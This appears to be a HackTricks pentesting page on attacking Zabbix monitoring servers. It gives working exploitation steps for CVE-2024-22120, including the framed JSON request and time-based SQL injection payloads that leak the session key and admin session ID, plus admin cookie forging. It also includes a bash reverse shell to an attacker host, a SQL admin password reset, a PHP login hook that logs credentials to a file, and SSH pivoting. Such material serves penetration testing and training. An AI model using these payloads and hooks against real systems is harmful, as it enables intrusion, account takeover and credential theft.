Zabbix Security

Reading time: 7 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Overview

Zabbix is a monitoring platform exposing a web UI (typically behind Apache/Nginx) and a server component that also talks the Zabbix protocol on TCP/10051 (server/trapper) and agent on TCP/10050. During engagements you may encounter:

  • Web UI: HTTP(S) virtual host like zabbix.example.tld
  • Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port: 10050/tcp

Useful cookie format: zbx_session is Base64 of a compact JSON object that includes at least sessionid, serverCheckResult, serverCheckTime and sign. The sign is an HMAC of the JSON payload.

Recent Zabbix versions compute the cookie like:

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI.

CVE-2024-22120 β€” Time-based blind SQLi in Zabbix Server audit log

Affected versions (as publicly documented):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Vulnerability summary:

  • When a Script execution is recorded into the Zabbix Server audit log, the clientip field is not sanitized and is concatenated into SQL, enabling time-based blind SQLi via the server component.
  • This is exploitable by sending a crafted "command" request to the Zabbix server port 10051 with a valid low-privileged sessionid, a hostid the user can access, and a permitted scriptid.

Preconditions and discovery tips:

  • sessionid: From guest/login in the web UI, decode zbx_session (Base64) to get sessionid.
  • hostid: Observe via web UI requests (e.g., Monitoring β†’ Hosts) or intercept with a proxy; common default is 10084.
  • scriptid: Only scripts permitted to the current role will execute; verify by inspecting the script menu/AJAX responses. Defaults like 1 or 2 are often allowed; 3 may be denied.

Exploitation flow

  1. Trigger audit insert with SQLi in clientip
  • Connect to TCP/10051 and send a Zabbix framed message with request="command" including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated.

Minimal message (JSON body) fields:

json
{
  "request": "command",
  "sid": "<low-priv-sessionid>",
  "scriptid": "1",
  "clientip": "' + (SQL_PAYLOAD) + '",
  "hostid": "10084"
}

The full wire format is: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. You can use pwntools or your own socket code to frame it.

  1. Time-bruteforce secrets via conditional sleep

Use conditional expressions to leak hex-encoded secrets 1 char at a time by measuring response time. Examples that have worked in practice:

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) from sessions:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notes:

  • charset: 32 hex chars [0-9a-f]
  • Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
  • Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
  1. Forge Admin cookie

Once you have:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: 32-hex from sessions.sessionid for userid=1

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

Ready-made tooling

  • Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
  • Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.

RCE via Script execution (post-Admin)

With Admin access in the UI, you can execute predefined Scripts against monitored hosts. If agents/hosts execute script commands locally, this yields code execution on those systems (often as the zabbix user on Linux hosts):

  • Quick check: run id to confirm user context
  • Reverse shell example:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

If you have DB access, an alternative to forging a cookie is resetting the Admin password to the documented bcrypt for "zabbix":

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Credential capture via login hook (post-exploitation)

If file write is possible on the web UI server, you can temporarily add a logging snippet to /usr/share/zabbix/index.php around the form-based login branch to capture credentials:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
  $user = $_POST['name'] ?? '??';
  $password = $_POST['password'] ?? '??';
  $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
  CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Users authenticate normally; read /dev/shm/creds.txt afterwards. Remove the hook when done.

Pivoting to internal services

Even if the service account shell is /usr/sbin/nologin, adding an SSH authorized_keys entry and using -N -L allows local port-forwarding to loopback-only services (e.g., CI/CD at 8111):

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

See more tunneling patterns in: Check Tunneling and Port Forwarding.

Operational tips

  • Validate scriptid is permitted for the current role (guest may have a limited set)
  • Timing brute can be slow; cache recovered admin sessionid and reuse it
  • The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks